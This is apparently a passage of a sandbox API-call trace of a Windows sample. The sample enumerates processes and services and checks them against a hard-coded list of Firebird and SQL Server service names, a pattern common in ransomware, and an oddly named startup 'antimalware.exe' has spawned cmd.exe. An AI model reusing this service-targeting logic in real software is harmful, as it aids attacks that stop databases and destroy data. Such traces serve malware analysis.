	[0036.596] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0036.597] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0036.597] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0036.606] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0036.606] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0036.606] lstrlenW (lpString="msoia.exe") returned 9
	[0036.606] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0036.607] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0036.607] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0036.608] lstrlenW (lpString="msoia.exe") returned 9
	[0036.608] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="roof.exe")) returned 1
	[0036.608] lstrlenW (lpString="roof.exe") returned 8
	[0036.608] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="minority-weird-increases.exe")) returned 1
	[0036.609] lstrlenW (lpString="minority-weird-increases.exe") returned 28
	[0036.609] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="halloween_french_yugoslavia.exe")) returned 1
	[0036.610] lstrlenW (lpString="halloween_french_yugoslavia.exe") returned 31
	[0036.610] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1
	[0036.610] lstrlenW (lpString="cause.exe") returned 9
	[0036.610] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="occasionstax.exe")) returned 1
	[0036.611] lstrlenW (lpString="occasionstax.exe") returned 16
	[0036.611] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="distributors.exe")) returned 1
	[0036.612] lstrlenW (lpString="distributors.exe") returned 16
	[0036.612] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="month utilities transmit.exe")) returned 1
	[0036.615] lstrlenW (lpString="month utilities transmit.exe") returned 28
	[0036.615] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rand.exe")) returned 1
	[0036.616] lstrlenW (lpString="rand.exe") returned 8
	[0036.616] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlikely.exe")) returned 1
	[0036.616] lstrlenW (lpString="unlikely.exe") returned 12
	[0036.616] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forever_adipex_transcript.exe")) returned 1
	[0036.617] lstrlenW (lpString="forever_adipex_transcript.exe") returned 29
	[0036.617] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotion.exe")) returned 1
	[0036.618] lstrlenW (lpString="promotion.exe") returned 13
	[0036.618] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upset-vt-promoting.exe")) returned 1
	[0036.618] lstrlenW (lpString="upset-vt-promoting.exe") returned 22
	[0036.618] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charlie_sperm_new.exe")) returned 1
	[0036.619] lstrlenW (lpString="charlie_sperm_new.exe") returned 21
	[0036.619] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cagesymbol.exe")) returned 1
	[0036.621] lstrlenW (lpString="cagesymbol.exe") returned 14
	[0036.621] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bad-length.exe")) returned 1
	[0036.622] lstrlenW (lpString="bad-length.exe") returned 14
	[0036.622] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unit.exe")) returned 1
	[0036.623] lstrlenW (lpString="unit.exe") returned 8
	[0036.623] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="parents.exe")) returned 1
	[0036.623] lstrlenW (lpString="parents.exe") returned 11
	[0036.623] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charge.exe")) returned 1
	[0036.624] lstrlenW (lpString="charge.exe") returned 10
	[0036.624] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="measures-provision.exe")) returned 1
	[0036.625] lstrlenW (lpString="measures-provision.exe") returned 22
	[0036.625] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0036.625] lstrlenW (lpString="dllhost.exe") returned 11
	[0036.625] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x744, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0036.626] lstrlenW (lpString="conhost.exe") returned 11
	[0036.626] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfd8, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0036.626] lstrlenW (lpString="conhost.exe") returned 11
	[0036.627] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0036.627] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0036.627] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x6cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0036.628] lstrlenW (lpString="cmd.exe") returned 7
	[0036.628] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x6cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 0
	[0036.628] CloseHandle (hObject=0x27c) returned 1
	[0036.628] Sleep (dwMilliseconds=0x1f4) 
	[0037.630] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x68fa58
	[0037.631] EnumServicesStatusExW (in: hSCManager=0x68fa58, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0
	[0037.631] GetLastError () returned 0xea
	[0037.631] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x1c30) returned 0x6acd08
	[0037.631] EnumServicesStatusExW (in: hSCManager=0x68fa58, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6acd08, cbBufSize=0x1c30, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6acd08, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1
	[0037.632] CloseServiceHandle (hSCObject=0x68fa58) returned 1
	[0037.632] lstrlenW (lpString="Appinfo") returned 7
	[0037.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0037.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0037.632] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0037.632] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0037.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0037.632] lstrlenW (lpString="AppXSvc") returned 7
	[0037.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0037.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0037.632] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0037.632] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0037.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0037.632] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0037.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0037.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0037.632] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0037.632] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0037.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0037.632] lstrlenW (lpString="Audiosrv") returned 8
	[0037.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0037.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0037.632] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0037.632] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0037.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0037.632] lstrlenW (lpString="BFE") returned 3
	[0037.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0037.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0037.633] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0037.633] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0037.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0037.633] lstrlenW (lpString="BITS") returned 4
	[0037.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0037.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0037.633] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0037.633] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0037.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0037.633] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0037.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0037.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0037.633] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0037.633] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0037.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0037.633] lstrlenW (lpString="CDPSvc") returned 6
	[0037.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0037.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0037.633] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0037.633] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0037.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0037.633] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0037.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0037.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0037.633] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0037.633] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0037.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0037.633] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0037.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0037.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0037.633] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0037.633] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0037.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0037.633] lstrlenW (lpString="CryptSvc") returned 8
	[0037.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0037.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0037.633] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0037.633] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0037.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0037.634] lstrlenW (lpString="DcomLaunch") returned 10
	[0037.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0037.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0037.634] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0037.634] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0037.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0037.634] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0037.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0037.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0037.634] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0037.634] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0037.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0037.634] lstrlenW (lpString="Dhcp") returned 4
	[0037.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0037.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0037.634] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0037.634] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0037.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0037.634] lstrlenW (lpString="Dnscache") returned 8
	[0037.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0037.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0037.634] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0037.634] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0037.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0037.634] lstrlenW (lpString="DPS") returned 3
	[0037.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0037.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0037.634] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0037.634] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0037.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0037.634] lstrlenW (lpString="DusmSvc") returned 7
	[0037.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0037.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0037.634] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0037.634] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0037.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0037.634] lstrlenW (lpString="EventLog") returned 8
	[0037.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0037.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0037.635] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0037.635] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0037.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0037.635] lstrlenW (lpString="EventSystem") returned 11
	[0037.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0037.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0037.635] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0037.635] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0037.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0037.635] lstrlenW (lpString="FontCache") returned 9
	[0037.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0037.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0037.635] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0037.635] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0037.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0037.635] lstrlenW (lpString="gpsvc") returned 5
	[0037.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0037.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0037.635] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0037.635] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0037.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0037.635] lstrlenW (lpString="iphlpsvc") returned 8
	[0037.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0037.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0037.635] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0037.635] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0037.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0037.635] lstrlenW (lpString="KeyIso") returned 6
	[0037.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0037.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0037.635] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0037.635] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0037.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0037.635] lstrlenW (lpString="LanmanServer") returned 12
	[0037.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0037.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0037.636] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0037.636] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0037.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0037.636] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0037.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0037.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0037.636] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0037.636] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0037.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0037.636] lstrlenW (lpString="lfsvc") returned 5
	[0037.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0037.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0037.636] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0037.636] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0037.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0037.636] lstrlenW (lpString="lmhosts") returned 7
	[0037.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0037.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0037.636] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0037.636] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0037.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0037.636] lstrlenW (lpString="LSM") returned 3
	[0037.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0037.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0037.636] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0037.636] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0037.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0037.636] lstrlenW (lpString="MpsSvc") returned 6
	[0037.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
